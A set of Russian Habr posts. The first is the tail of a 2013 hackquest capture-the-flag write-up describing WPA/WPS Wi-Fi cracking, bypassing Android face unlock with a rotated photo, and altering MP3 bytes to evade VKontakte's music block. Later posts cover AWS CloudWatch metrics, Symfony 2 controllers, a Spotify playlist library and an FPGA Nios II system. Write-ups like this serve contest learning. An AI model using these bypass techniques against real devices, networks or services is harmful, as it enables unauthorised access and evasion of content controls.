this.buff.set(0, Integer.valueOf(temp));
}
this.buff.add(Val);
}
for (int i = 0; i < this.input.length(); i++)
this.output += String.valueOf((char)(((Integer)this.buff.get(i)).intValue() + 32));
}
}
```
Я решал уже во второй день этот таск, а так как я не ложился спать и остался в клубе (ночью решал другой таск), то меня просто уже не хватило на этот алгоритм) помог друг, сосчитал вручную. Обратный алгоритм не так тривиален, как кажется, попробуйте :)
#### [WPA](https://hackquest.chaosconstructions.ru/missions/WPA/) / [WPS (WiFi)](https://hackquest.chaosconstructions.ru/missions/WPS/)
Объединил два задания, так как похожи, WPA
> You have router at CC2013, which wants to be hacked.
>
> Tricky admin have hidden ESSID of it's AP.
>
> Use all your skills to penetrate in it's network
>
>
>
> Flag is MD5(key)
WPS
> There is a white box which broadcast wifi somewhere in the hack zone. You need to penetrate into it's network.
>
> BTW some people say it supports WPS and first 4 digits of pin were saved ;) happy hacky
>
>
>
> Flag is MD5(key)
Идем в хак-зону, грузимся с backtack и делаем все по гайдам. С WPA по стандартному словарю ключ находится за полсекунды.
Гайд по WPA — [www.aircrack-ng.org/doku.php?id=cracking\_wpa](http://www.aircrack-ng.org/doku.php?id=cracking_wpa)
На русском про WPS — [habrahabr.ru/company/xakep/blog/143834](http://habrahabr.ru/company/xakep/blog/143834/) (кстати, wps не сделал, не было времени. Там просто надо было ждать успешного брута).
#### onside
Таски прямо на месте. Подходим, спрашиваем, говорят — нужно найти камеры, около которых есть наклейки с надписями. Нужно прочитать, что на них, и сообщить организаторам, при этом не попав на них лицом. Варианты решения — разные) Сообщают, что камер < 5
И еще один был, trivia. 5 вопросов, среди которых есть один на который я убил очень много времени — «Назовите хакерскую атаку, название которой состоит только из hex символов». Всякие dd05 или fl00d не подходят, т.е. замена не сработает. Задание решено, у кого-нибудь есть идеи? :)
#### USBsticks
> Get a USB stick from CC2013 to find a key
Подходим, лежит куча флешек. На одной из них был flag.txt, сдаем.
*И два самых интересных таска, на мой взгляд.*
#### androface (mobile)
> Unlock Android device from CC2013 hack-zone
>
>
Подходим, дают планшет samsung с android 4.1, при тебе его лочат face-авторизацией под человека с конференции. Нужно разлочить, количество попыток — 5. Находим [баг](http://www.redmondpie.com/android-jelly-bean-facial-liveness-check-can-be-bypassed-using-simple-image-manipulation-video/)
Подходим к этому же человеку, фотаем его с открытыми глазами, с закрытыми и пробуем свое счастье. С трех попыток у меня не вышло. После я развернул фотографию на 90 градусов, выкрутил яркость на ноуте на максимум — и все окей :) девайс разлочился
#### [VKmusic (reverse)](https://hackquest.chaosconstructions.ru/missions/VKmusic/)
> This task is top secret and came to you directly from Edward. Since he lives in Moscow now, he would like to feel the true spirit of Russia and listen to free music on VK.
>
> However, his favorite song is currently banned. You need to find out the mechanism of detection and upload the song.
>
> The initial analysis showed that it is enough to replace exactly three bytes to bypass «VKAF».
>
> The answer to the task will be an MD5 hash of concatenated offsets in the file of those bytes.
>
>
>
> Note: replace the lower two bytes with zeroes for each offset before hash calculation (i.e. 12345 --> 12300)
>
> [song](https://hackquest.chaosconstructions.ru/missions/VKmusic/Lana_Del_Rey_-_Born_To_Die.mp3)
Эта тема уже поднималась на Хабре
Загрузка заблокированных аудиозаписей в «ВКонтакте» — [habrahabr.ru/post/183554](http://habrahabr.ru/post/183554/)
Блокировка аудиозаписей Вконтакте. Восстанавливаем плейлист — [habrahabr.ru/post/183470](http://habrahabr.ru/post/183470/)
В т.ч. там в [комментах](http://habrahabr.ru/post/183470/#comment_6374668) есть упоминание на выступление, где рассказывается про проверку загруженных записей. Посмотрев видео становится понятно, что проверяются конкретные универсальные байты (т.к. фаззинг с подменой байт в центре, в конце ничего не дал) для всех типов файлов. Организаторы написали, что нужно найти 3 байта и от них взять хэш — и будет ключ. Но в ночь с 10 на 11 было найдено решение всего в 1 байт, которое, к сожалению, не могу здесь опубликовать :) но дать направление — байт чисто визуальный, все данные файла сохраняются.
Качаем трек с задания (который не загружается в ВК), меняем 1 байт — вуаля, все работает.
Утром показал решение — дали флаг вручную :)
Было занято первое место и дали вот такую [крутую штуку](https://pp.vk.me/c413319/v413319003/2f1a/CR-QQWvBxCk.jpg). Вроде все, спасибо организаторам, было круто :)
*Награждение* | https://habr.com/ru/post/189828/ | null | ru | null |
# AWS CloudWatch: собственные метрики (Custom Metrics)
Привет хабравчане!
Недавно сменил место работы, но всё так же поглощён облачными технологиями. И проектов у меня теперь будет гораздо больше, а с ними и статей, я надеюсь, интересных.
Итак, потребовалось создать метрики по параметрам, которые Cloud Watch считать не умеет. Можно мерять много чего, но, например, возьмём Load Average. Этот странный, но понятный всем параметр, объясняет состояние системы. В целом, мы можем оценивать здоровье сервера по этому состоянию. Естественно, не всегда, но как пример LA идеален.
Что же нам для этого нужно?
1. [Amazon CloudWatch Command Line Tools](http://aws.amazon.com/developertools/2534)
2. Несколько скриптов
Начнём приготовления на сервере.
1. В папке */opt* создадим папку — *aws*
2. Распакуем утилиты командной строки в папку */opt/aws/mon*
3. Ключ и сертификат pk-\*\*.pem и cert-\*\*.pem. Уложим в папку */opt/aws/keys*
4. Нужную папку c Java симлинком направим на */usr/java/latest*
Во первых, поймём как мы будем получать Load Average. Мне нравится так:
```
load_average=$(uptime | awk -F'load average:' '{ print $2 }' | awk '{ print $2 }')
load_average=${load_average%%','}
```
В этой переменной мы сохраним LA за 5 минут (второй).
Далее, нам нужен TimeStamp в определённом формате:
```
timestamp=$(date -u +%Y-%m-%dT%H:%M:%S.000Z)
```
Ну и последнее — регистрация значения метрики:
```
mon-put-data --metric-name "LoadAverage" --namespace "CustomMetric" --timestamp $timestamp --value $load_average
```
--metric-name «LoadAverage» — имя метрики
--namespace «CustomMetric» — где эта метрика будет находиться
Итак, конечный скрипт с переменными, вечным циклом и логгированием выглядит так:
**/opt/aws/cw\_scaler.sh**
```
#!/bin/bash
export AWS_CLOUDWATCH_HOME=/opt/aws/mon
export AWS_CLOUDWATCH_URL=https://monitoring.amazonaws.com
export PATH=$AWS_CLOUDWATCH_HOME/bin:$PATH
export JAVA_HOME=/usr/java/latest
export TOOLS_HOME=/opt/aws
export EC2_PRIVATE_KEY=$TOOLS_HOME/keys/pk-GWO6MOXPTCZA5EY7**********RSFJ.pem
export EC2_CERT=$TOOLS_HOME/keys/cert-GWO6MOXPTCZA5EY7**********RSFJ.pem
while [ true ]; do
load_average=$(uptime | awk -F'load average:' '{ print $2 }' | awk '{ print $2 }')
load_average=${load_average%%','}
timestamp=$(date -u +%Y-%m-%dT%H:%M:%S.000Z)
mon-put-data --metric-name "LoadAverage" --namespace "CustomMetric" --timestamp $timestamp --value $load_average
echo "$timestamp: Load Average $load_average" >>$TOOLS_HOME/cw_scaler.log
echo "" >>$TOOLS_HOME/cw_scaler.log
sleep 14
done
```
Не забудем про **init** скрипт для старта/стопа нашего минидемона:
**/etc/init.d/cw\_scaler-init**
```
#!/bin/bash1
#chkconfig: 2345 55 25
# source function library
. /etc/rc.d/init.d/functions
#Set environement
export TOOLS_HOME=/opt/aws
start()
{
$TOOLS_HOME/cw_scaler.sh&
}
stop()
{
kill $(ps ax | grep '/opt/aws/cw_scaler.sh' | grep -v "grep" | awk '{print $1}')
}
case "$1" in
start)
echo "Starting Cloud Watch scaler."
start
;;
stop)
echo "Stopping Cloud Watch scaler."
stop
;;
*)
echo $"Usage: cw_scaler.sh {start|stop}"
exit 1
;;
esac
```
Ну с собственно, что мы получили в конце? Через 5-10 минут у вас в панели Cloud Watch появится тип метрик: CustomMetric, а в нём — LoadAverage:
Да, господа, всё очень просто, и вы можете снимать любого рода данные, которые можно передать в числовом эквиваленте и на их основе уже строить автомасштабирование.
ЗЫ. Если заметели, это моя первая статья в корпоративном блоге EPAM Systems. Прошу любить и жаловать! = ) | https://habr.com/ru/post/147046/ | null | ru | null |
# Какими будут контроллеры в PR2?
Привет! Продолжаем следить за развитием фреймворка [Symfony 2](http://symfony-reloaded.org/). В данном топике попытаемся проследить за дискуссией: каким будет механизм контроллеров в новом релизе Symfony 2 (PR2). Под катом 6 вариантов построения интерфейса контроллера модели MVC.
Symfony 2 сейчас в стадии Preview Release (PR1). Судя по количеству сообщений в [твиттере Фабьена](http://twitter.com/fabpot) и разработчика Doctrine 2 [Jonathan Wage](http://twitter.com/jwage) из Sensio Labs, работа над фреймворком идет полным ходом. Например, в последние дни появилось аж 4 новых компонента, о которых можно прочесть [здесь](http://www.phparch.com/2010/04/22/four-new-php-5-3-components-and-goutte-a-simple-web-scraper/). Детальнее про отдельные компоненты можно прочесть в моих переводах про [Finder](http://habrahabr.ru/blogs/symfony/91689/) и [CssSelector](http://habrahabr.ru/blogs/symfony/90664/). Также стоит отметить большое число [обсуждений касающихся Symfony 2 на google groups](http://groups.google.com/group/symfony-devs/). Параллельно с разработкой фреймворка, интенсивно развивается вторая ветка популярной ORM [Doctrine](http://www.doctrine-project.org/documentation/2_0/en) и шаблонизатор [TWIG](http://www.twig-project.org/). Все это в совокупности с развитием самого PHP 5.3 создает образ такого себе растущего технологического организма, за развитием которого очень интересно следить. Чуть позже купить бутылку шампанского, поставить в бар и с нетерпением ждать финального релиза. Извините чуть отвлекся, давайте проследим за мыслями Symfony Community по поводу усовершенствования механизма контроллеров при переходе к стадии фреймворка Symfony 2 PR2 (смотрите ссылки на дискуссию в конце топика) и возможно даже принять в нем активное участие: статус обсуждения RFC — то есть вы тоже можете предложить интересную идею и тем самым улучшить фреймворк.
На самом деле это не совсем перевод, но все-таки основная часть материала взята из одного источника, — поэтому решил оформить как перевод. Текста довольно много, но структурирован и читается легко, поэтому все в одном топике.
#### **Контроллеры**
В Symfony 2 контроллером может служить любая валидная вызываемая конструкция: функция, метод класса/объекта или лямбда/замыкание. В данном топике речь пойдет о контроллере в виде метода объекта, как наиболее распространенный случай.
Для того чтобы делать свою работу (вызывать Model для передачи параметров во View), контроллер должен иметь доступ к некоторым параметрам (strings) и сервисам (objects):* **Параметры**: приходящие с объекта запроса (переменные пути (/hello/:name), GET/POST параметры, HTTP заголовки) и глобальные переменные (которые обрабатываются [Dependency Injector](http://components.symfony-project.org/dependency-injection/)).
* **Сервисы** («глобальные» объекты) получаемые с [Dependency Injector](http://components.symfony-project.org/dependency-injection/) (такие как объект запроса, объект User, почтовый объект ([Swift Mailer](http://swiftmailer.org/docs/introduction)), соединение с БД и т.д.)
Контроллер — это центральная часть MVC представления, поэтому нужна особая осторожность при выборе лучшего варианта его интерфейса, и пути передачи ему параметров и доступа к сервисам. Решение по выбору лучшего варианта интерфейса должно быть принято учитывая эти вопросы (в порядке спадания важности):
1. насколько легко/интуитивно создать новый контроллер?
2. насколько быстра его реализация?
3. насколько легко провести его автоматическое тестирование (Unit tests)? [в топике я этих вопросо не рассматриваю, в дополнительных ссылках это есть]
4. насколько многословно/компактно обращаться к параметрам и сервисам?
5. насколько реализация отвечает концепции разделения и шаблону проектирования MVC?
Собственно говоря, это и есть тот базис, с точки зрения которого будем оценивать различные варианты интерфейсов контроллеров для Symfony 2.
#### **Вариант 1. Так устроен механизм контролеров в Symfony 2 сейчас (PR1):**
Для обеспечения доступа к сервисам и параметрам, Symfony вставляет контейнер в конструктор контроллера (который потом хранится в protected свойстве):
> `$controller = new Controller($container);`
##### **Доступ к параметрам и сервисам**
Когда выполняется действие (action), аргументы метода вставляются через совпадение их имен с переменными пути:
> `function showAction($slug){ ... }`
Аргумент slug будет передан, если у соответствующего пути есть переменная slug: **/articles/:slug**.
Передача переменных пути происходит таким образом:1. если имя аргумента совпадает с именем переменной пути, мы используем это значение ($slug в примере, даже если оно не передано в URL и определено значение по умолчанию);
2. если нет, и если определено значению по умолчанию для аргумента, и если аргумент необязательный, мы используем значение по умолчанию;
3. если нет, мы выбрасываем исключение.
Доступ к параметрам происходит так:
> `function showAction($slug)
>
> {
>
> // доступ к глобальным переменным происходит через контейнер
>
> // так:
>
> $global = $this->container->getParameter('max\_per\_page');
>
> // или так:
>
> $global = $this->container['max\_per\_page'];
>
>
>
> // доступ к параметрам запроса, через сервис request
>
> $limit = $this->container->request->getParameter('max');
>
> // если объект запроса существует всегда, он может быть доступен через конструктор автоматически:
>
> $limit = $this->request->getParameter('max');
>
> }`
Доступ к сервисам происходит так:
> `function indexAction() {
>
> // доступ довольно простой
>
> $this->container->getUserService()->setAttribute(...);
>
>
>
> // или более коротко через параметры контейнера
>
> $this->container->user->setAttribute(...);
>
> }`
##### **Достоинства и недостатки:**
Как очевидные достоинства можно выделить понятность, простоту, хорошее быстродействие и удобное тестирование контейнеров специфических видов.
Недостатки:1. Контроллер нагружен контейнером (разделение сущностей);
2. Довольно открытый доступ к контейнеру, что требует аккуратности от разработчика;
3. Доступ к параметрам и сервисам несколько многословен;
4. Разработчики могут начать думать в так называемом sfContext контексте. То есть если они имеют доступ к контейнеру с контроллера, легко передать его в класс модели, но это не самая лучшая идея;
5. При тестировании, разработчик будет вынужден ознакомиться с реализацией и знать к каким сервисам контроллер имеет доступ .
#### **Вариант 2**
Этот вариант отличается от предыдущего работой с параметрами/сервисами. Вместо передачи в конструктор контейнера, мы передаем только нужные параметры и сервисы:
> `protected $user, $request, $maxPerPage;
>
>
>
> function \_\_construct(User $user, Request $request, $maxPerPage)
>
> {
>
> $this->user = $user;
>
> $this->request = $request;
>
> $this->maxPerPage = $maxPerPage;
>
> }`
На самом деле, не сложно заметить, что первый вариант в какой-то степени частный случай этого варианта, то есть варианты вполне совместимы.
##### **Доступ к параметрам и сервисам**
Доступ к параметрам и методам похож на предыдущий вариант, чуть более краток:
> `function showAction($slug)
>
> {
>
> // если сервис определен в конструкторе, доступ более краткий
>
> $limit = $this->request->getParameter('max');
>
> // доступ к параметрам и сервисам прямой
>
> $global = $this->maxPerPage;
>
> $this->user->setAttribute(...);
>
> }`
##### **Достоинства и недостатки:**
Достоинства:1. Дает большую гибкость и полностью совместим с первым вариантом;
2. Дает возможность контроля типов при передаче параметров/сервисов;
3. Более ясные зависимости;
4. Не большой накладной код;
Недостатки:1. Конструктор требует все сервисы и параметры (но в большинстве случаев только некоторые будут использоваться) — но успокаивает факт, что вы можете использовать метод контейнера в этих случаях;
2. Более шаблонный код: теперь разработчику нужно хранить все передаваемые сервисы в защищенных переменных.
#### **Вариант 3**
Вместо вставки сервисов в конструктор, в этом варианте они напрямую вставляются в каждый метод контроллера:
> `function showAction($slug, $userService, $doctrineManagerService, $maxPerPageParameter){ ... }`
Аргументом может быть переменная пути, сервис, или глобальный параметр, при этом правила передачи параметров должны быть уточнены:1. Если имя аргумента заканчивается на «Service», мы используем соответствующий сервис ($userService в примере);
2. Если имя аргумента заканчивается на «Parameter», мы используем соответствующий параметр с Dependency Injector ($maxPerPageParameter в примере);
3. Если нет, и если имя аргумента совпадает с переменной пути, мы используем его ($slug в примере);
4. В других случаях, если аргумент не определен, выбрасываем исключение.
Если вы не хотите описывать все services/parameters в сигнатуре метода, вы можете использовать контейнер (как сделано в предыдущем варианте):
> `// передаем переменную пути `slug` и контейнер
>
> function showAction($slug, Container $containerService){ ... }
>
>
>
> // передаем Request и контейнер
>
> function showAction(Request $requestService, Container $containerService){ ... }`
##### **Доступ к параметрам и сервисам**
В данном случае доступ к параметрам и сервисам осуществляется почти напрямую:
> `function showAction($id, $userService, $doctrineManagerService) {
>
> $user->setAttribute(...);
>
> }`
##### **Достоинства и недостатки:**
Достоинства:* Каждое действие независимое и работет автономно;
* Внутри метода краткий и четкий код;
* Хорошая производительность (так как мы сами делаем разбор и анализ аргументов метода);
* Очень гибкий вариант (вы можете использовать полный контейнер, если захотите).
Недостатки:* Если у нас есть большой список переменных пути и список сервисов, сигнатура может быть очень многословна — но успокаивает факт, что можно создать Request и контейнер в таком случае:
> `function showAction($year, $month, $day, $slug, $userService, $doctrineManagerService) { ... }`
* Методы становятся похожими на функции (так как их ничего не объединяет);
* Даже если мы передаем сервисы как аргументы метода, некоторые из них могут быть из них необязательными для метода. В таком случае, мы получаем еще больше лишнего кода чем получать доступ к сервисам с контейнера по требованию.
#### **Вариант 4**
Этот вариант — смесь вариантов 2 и 3. Сервисы и параметры могут передаваться как в конструктор, так и в методы actions:
> `protected $user;
>
>
>
> function \_\_construct(User $user) {
>
> $this->user = $user;
>
> }
>
>
>
> function showAction($slug, $mailerService, $maxPerPageParameter){ ... }`
В этом варианте уже нет проблемы, что методы стают похожи на функции из PHP4. Вы можете создать глобальные сервисы для класса, и локальные для каждого метода action.
Это приближение на 100% совместимо с первым вариантом, когда все везде опционально. Вы можете использовать параметры и в конструкторе и в действиях, или использовать контейнер, созданный по умолчанию (или сделать зависимым от контекста).
Это также позволяет эмулировать действия из ветки Symfony 1.x:
> `function showAction(Request $requestService){ ... }`
Так как этот вариант наиболее гибкий, документация должна содержать лучшие примеры использования (best practices).
#### **Вариант 5**
Вариант почти полная копия варианта 4, за исключением того, что переменные пути не могут быть включены в методы actions. Это позволяет убрать лишние суффиксы (Parameter и Service). А доступ к переменным пути происходит через обращение к объекту запроса:
> `protected $user;
>
>
>
> function \_\_construct(User $user) {
>
> $this->user = $user;
>
> }
>
>
>
> function showAction(Request $request, $mailer, $maxPerPage) {
>
> $id = $request->getPathParameter('id');
>
> // ...
>
> }`
Еще хорошей договоренностью может быть включение объекта Request первым аргументом (для последовательности подхода).
#### **Вариант 6**
Еще одним альтернативным вариантом может быть использование аннотаций для включений параметров. Это пока что особо не обсуждается, потому как Symfony 2 пока что не использует аннотаций.
##### **Достоинства и недостатки:**
Достоинства:
* Некоторые сторонние библиотеки начали использовать аннотации (Doctrine 2, но пока что опционально).
Недостатки:* Дополнительный код;
* PHP разработчики редко используют аннотации;
* Аннотации это не «родная» конструкция языка PHP.
Дополнительную информацио можно получить из дополнительный ссылок внизу. В комментариях интересно почитать какой вариант вам больше всего по душе, или может кто-то предложит что-то новенькое. Мне лично нравятся варианты 1 и 5.
**Полезные ссылки**: [RFC: Controllers in Symfony 2](http://symfony-reloaded.org/rfc/controllers) и обсуждение на google groups: [часть 1](http://groups.google.com/group/symfony-devs/browse_thread/thread/376950495c8025ce), [часть 2](http://groups.google.com/group/symfony-devs/browse_thread/thread/210d2ad7ad0ae45f), [часть 3](http://groups.google.com/group/symfony-devs/browse_thread/thread/e7ad8f72647749fe). | https://habr.com/ru/post/92066/ | null | ru | null |
# Конструктор плейлистов для Spotify
Статья о том, как [Spotify Web API](https://developer.spotify.com/documentation/web-api/) (SWA) и платформа [Google Apps Script](https://developers.google.com/apps-script?hl=ru) (GAS) позволили превратить библиотеку в гибкий конструктор плейлистов с бесплатным исполнением по расписанию.
Под конструктором плейлистов понимаем механизм сбора, фильтрации, сортировки и добавления треков.
1. [Проблема](#%D0%BF%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D0%B0)
2. [Решение](#%D1%80%D0%B5%D1%88%D0%B5%D0%BD%D0%B8%D0%B5)
3. [Что можно сделать](#%D1%87%D1%82%D0%BE-%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE-%D1%81%D0%B4%D0%B5%D0%BB%D0%B0%D1%82%D1%8C)
4. [История прослушиваний](#%D0%B8%D1%81%D1%82%D0%BE%D1%80%D0%B8%D1%8F-%D0%BF%D1%80%D0%BE%D1%81%D0%BB%D1%83%D1%88%D0%B8%D0%B2%D0%B0%D0%BD%D0%B8%D0%B9)
5. [Примеры](#%D0%BF%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D1%8B)
6. [Ссылки](#%D1%81%D1%81%D1%8B%D0%BB%D0%BA%D0%B8)
Проблема
--------
Наличие официального API породило для Spotify множество интересных инструментов. В нашем контексте рассмотрим [Smarter Playlists](http://smarterplaylists.playlistmachinery.com/about.html). Графический интерфейс в виде графов, множество управляющих блоков делают его довольно дружелюбным для обычного пользователя.
Плотное использование сервиса выявило ряд недостатков:
* отсутствие истории прослушиваний
* лимитированное добавление треков
* ограниченное количество запусков по расписанию
* некорректная работа с кириллицей
С течением времени сюда добавляется желание новых источников получения треков; более сложных алгоритмов фильтрации. Сервис перестал развиваться с точки зрения новых функций.
В связи с чем появилось желание альтернативы, устраняющей данные недостатки.
Решение
-------
В результате была разработана библиотека для GAS на JavaScript - **Goofy**. Конструктором её делает возможность запуска на платформе в редакторе или по расписанию (триггерам) без стороннего ПО.
GAS накладывает свои ограничения, но другого порядка. Например, время исполнения не более 6 минут; количество запросов к внешним API не более 20 тысяч в день. С другой стороны, круг возможностей существенно расширился. Реализованы все функции Smarter Playlists, устранены его недостатки. Появились новые функции.
Что можно сделать
-----------------
Несколько простых примеров, которые можно реализовать с помощью Goofy
* Объединять личные миксы дня с удалением ранее прослушанных треков
* Собирать треки из найденных по ключевым словам плейлистам
* Миксовать треклисты FM-радиостанций
* Составлять рекомендации по жанрам, трекам, исполнителям
* Выявлять давно не прослушиваемых треков
* Собирать новинки отслеживаемых исполнителей
* Накапливать треки обновляемого источника в плейлисте с удалением уже прослушанных
* Получать рекомендации Last.fm любого пользователя, топ за период, соседи по музыкальным вкусам и многое другое
История прослушиваний
---------------------
Частое прослушивание музыки без особо активных действий приводят стриминг платформы к повторам. Одни и те же треки приходят изо дня в день. Goofy позволяет удалить ранее прослушанные треки. Но это сложнее, чем казалось на первый взгляд.
* SWA дает возможность получить только 50 последних прослушанных треков. Появление 51-ого делает недоступным 1-й.
* GAS имеет выход к Google Drive. Библиотека создает повторяющийся триггер и опрашивает SWA на предмет новых прослушиваний. Если они есть, сохраняет в файл. Таким образом, появляется локальная полная история прослушиваний.
* Есть другая проблема. Трек считается прослушанным только после 30 секунд. Причем зачастую недавние треки обновляются не сразу или вовсе теряются. Списываю это на "качество" SWA.
* Решение есть и здесь - использовать [Last.fm](https://www.last.fm/ru/about). Реализовано два подхода. Во первых, можно просто запросить недавние прослушивания и удалять совпадения по названию трека. Во вторых, можно выполнить поиск трека в Spotify и сохранить его в файл на Google Drive. Тем самым получая историю прослушиваний от Last.fm готовую к работе со Spotify.
Примеры
-------
Нужно выполнить установку (копирование в GAS) и настройку (выдача разрешений, ключи доступа). Все подробно есть в документации.
1) Простой пример: получить любимые треки, взять пять случайных и добавить в плейлист.
Далее графическими средствами GAS создаем триггер. В результате, например, раз в минуту плейлист будет обновляться пятью случайными треками.
```
function createHelloPlaylist() {
let tracks = Source.getSavedTracks();
Selector.keepRandom(tracks, 5);
Playlist.saveWithReplace({
name: 'Hello, playlist',
tracks: tracks,
});
}
```
2) Выявить любимые треки, которые не были прослушаны более чем месяц.
```
function templateSavedAndForgot(){
let recentTracks = Source.getRecentTracks(2500);
let savedTracks = Source.getSavedTracks();
Filter.removeTracks(savedTracks, recentTracks);
let startDate = new Date('2006-01-01');
let endDate = Filter.getDateRel(30, 'endDay');
Filter.rangeDateAbs(savedTracks, startDate, endDate);
Selector.keepRandom(savedTracks, 20);
Order.sort(savedTracks, 'meta.added_at', 'asc');
Playlist.saveWithReplace({
name: 'Любимо и забыто',
tracks: savedTracks,
randomCover: 'update', // установить случайную обложку плейлиста
});
}
```
3) Получить треки альбомов и синглов отслеживаемых исполнителей за неделю.
```
function createNewRelease() {
const playlistId = 'abc';
let tracks = Source.getArtistsTracks({
artist: {
followed_include: true
},
album: {
groups: 'album,single',
release_date: { sinceDays: 7, beforeDays: 0 }
},
});
Order.shuffle(tracks);
Combiner.push(tracks, Source.getPlaylistTracks('name', playlistId));
Filter.removeTracks(tracks, RecentTracks.get(3000));
Filter.matchOriginalOnly(tracks);
Playlist.saveWithReplace({
id: playlistId,
name: 'Новые релизы',
tracks: tracks,
randomCover: 'update',
});
}
```
Ссылки
------
[Документация](https://chimildic.github.io/goofy/#/) писалась с ориентиром на пользователя, который не знаком с программированием. Чтобы дать возможность использовать Goofy через копипаст шаблонов и примеров.
Исходный код на [GitHub](https://github.com/Chimildic/goofy), включая [форум](https://github.com/Chimildic/goofy/discussions). | https://habr.com/ru/post/537718/ | null | ru | null |
# Использование процессорной системы Nios II без процессорного ядра Nios II
В прошлом блоке статей про комплекс для удалённой отладки Redd, я показал, что работа с ним – это не только работа с ПЛИС. Мало того, ПЛИС – это всего лишь очень интересная, но всё-таки весьма специфичная часть комплекса. Основная же его часть – мосты FTDI и прочие USB-шные вещи. Особого интереса тема не вызвала, но тем не менее, теперь все знают, какие именно основные аппаратные средства имеются в комплексе. И мы снова можем вернуться к рассмотрению интересной темы – ПЛИС.
Продолжим традицию предыдущего блока и будем дальше искать необязательные части. Сегодня мы научимся обходиться без процессорного ядра Nios II. Да-да. В процессорной системе Nios II само процессорное ядро – важный, но не обязательный элемент. Мы потренируемся делать систему без него, вынося все управляющие функции на уровень центрального процессора комплекса Redd.
**Предыдущие статьи цикла**1. [Разработка простейшей «прошивки» для ПЛИС, установленной в Redd, и отладка на примере теста памяти.](https://habr.com/ru/post/452656/)
2. [Разработка простейшей «прошивки» для ПЛИС, установленной в Redd. Часть 2. Программный код.](https://habr.com/ru/post/453682/)
3. [Разработка собственного ядра для встраивания в процессорную систему на базе ПЛИС.](https://habr.com/ru/post/454938/)
4. [Разработка программ для центрального процессора Redd на примере доступа к ПЛИС.](https://habr.com/ru/post/456008/)
5. [Первые опыты использования потокового протокола на примере связи ЦП и процессора в ПЛИС комплекса Redd.](https://habr.com/ru/post/462253/)
6. [Веселая Квартусель, или как процессор докатился до такой жизни.](https://habr.com/ru/post/464795/)
7. [Методы оптимизации кода для Redd. Часть 1: влияние кэша.](https://habr.com/ru/post/467353/)
8. [Методы оптимизации кода для Redd. Часть 2: некэшируемая память и параллельная работа шин.](https://habr.com/ru/post/468027/)
9. [Экстенсивная оптимизация кода: замена генератора тактовой частоты для повышения быстродействия системы.](https://habr.com/ru/post/469985/)
10. [Доступ к шинам комплекса Redd, реализованным на контроллерах FTDI](https://habr.com/ru/post/477662/)
11. [Работа с нестандартными шинами комплекса Redd](https://habr.com/ru/post/483724/)
12. [Практика в работе с нестандартными шинами комплекса Redd](https://habr.com/ru/post/484706/)
13. [Проброс USB-портов из Windows 10 для удалённой работы](https://habr.com/ru/post/493630/)
Зачем нужно и зачем не нужно процессорное ядро
----------------------------------------------
Как я уже отмечал в теоретической части [одной из прошлых статей](https://habr.com/ru/post/483724/), при работе с комплексом Redd, всё нестандартное оборудование – это вспомогательная вещь. Оно используется краткосрочно, только на этапе проекта и не отчуждается к Заказчику. Соответственно, вряд ли на это будут выделены отдельные разработчики. И нет смысла ради работы с ним, изучать слишком много дополнительных вещей.
Именно поэтому вместо подхода к разработке через Verilog (или VHDL, или ещё какой-нибудь специфичный язык), я предложил просто создавать Nios II систему на базе готовых устройств, соединяя их шинами. Вместо управляющих автоматов я выбрал процессорное ядро, так как язык разработки под него ближе современным системным программистам. Разумеется, если не хватает кубиков для создания системы, недостающие приходится дописывать. Но потом они могут использоваться повторно в других проектах, так что готовая библиотека наберётся весьма быстро.
У этого подхода множество достоинств. И собственно, этот подход мы уже закрепили на практике. Но когда я продумываю новые примеры, которые хочу вынести на обсуждение, на первый план выходит нехватка памяти ПЛИС. Хочется больше памяти отдать для FIFO, но программу и данные для процессора тоже где-то надо хранить. А у четвёртого Циклона этой самой памяти не так много. Всем может не хватить.
Вторая проблема – мы уже делали систему для связи процессора Nios II и центрального процессора в [одной из предыдущих статей](https://habr.com/ru/post/462253/). Она тоже отнимает память для своих FIFO, плюс – её использование загромождает рисунки, скрывая суть, описываемую в статье. Если можно отказаться от этого дела, лучше отказаться (правда, этот отказ не всегда возможен).
Но кто будет управлять системой? И как можно перекидывать данные без процессорного ядра? Знакомьтесь! Компонент **Altera JTAG-to-Avalon-MM**.
Одной стороной он связан со штатной шиной JTAG (именно штатной, не надо ничего внешнего, достаточно работать через штатный USB-Blaster). Другой – подключён к шине AVALON, обеспечивая доступ ко всем устройствам. Точно такой же доступ обеспечивало и процессорное ядро. Исходно, данный блок задуман для первичной отладки собственных ядер, чтобы обращаться к ним на скорую руку с хост-машины. Но никто не запрещает использовать его и для других задач, ведь JTAG адаптер в комплексе Redd присутствует постоянно!
Само собой, система на основе данного блока не может быть производительной для транзакций. Канал JTAG не быстрый сам по себе, а ещё и применённый в комплексе Redd адаптер USB-Blaster на базе микроконтроллера делает его совсем неспешным. Но как сделать быстрый мастер – мы уже знаем. Никто не запрещает под каждый случай выбирать то, что удобнее именно под него.
В проектах, которые планируются под будущие статьи, скорость управления не критична. Там будет анализатор, которому будет дана команда копить данные в SDRAM, после чего он уйдёт в себя до заполнения ОЗУ или до команды прекратить работу. Выполнятся эти команды за микросекунды или за десятки миллисекунд – особой разницы нет.
Ну, и перекачка данных через JTAG будет идти медленнее, чем через FT245. Но опять же, мы уже знаем, как перекачивать всё через FT245. Знание нового варианта совершенно не запрещает нам выбирать старый. Но зато, познакомившись с новым вариантом, мы получим возможность делать систему пусть помедленнее, но попроще в разработке и поэкономичнее с точки зрения ресурсов. Больше методик, хороших и разных! Поэтому приступаем к экспериментам.
Аппаратная часть
----------------
Про изготовление аппаратной части (в отличие от программной) в сети имеется масса статей. Обычно во всех примерах в систему добавляется внутренняя память ПЛИС, светодиоды и кнопки. Наша организация, как и вся страна, сейчас экстренно ушла на удалёнку, поэтому мне даже некого попросить подключить осциллограф к разъёму комплекса, так что я в примере ограничусь только памятью. Кто будет повторять эксперименты на обычных макетных платах, может добавить GPIO на выход, чтобы поуправлять светодиодами, и GPIO на вход, чтобы посмотреть работу кнопок. Создаём процессорную систему (как это делается, я описывал [здесь](https://habr.com/ru/post/452656/)), но вместо процессора ставим блок **Altera JTAG-to-Avalon-MM**. Его берут здесь:
Ну, и добавляем память, чтобы было хоть что-то, на чём мы сегодня будем проверять работу. Далее, соединяем всё это шинами, автоматически назначаем адреса и получаем примерно такую картину:
Обратите внимание, что сигнал **Reset** скоммутирован весьма нестандартно. Это связано с тем, что мне не хочется тратить время на физическую его выработку.
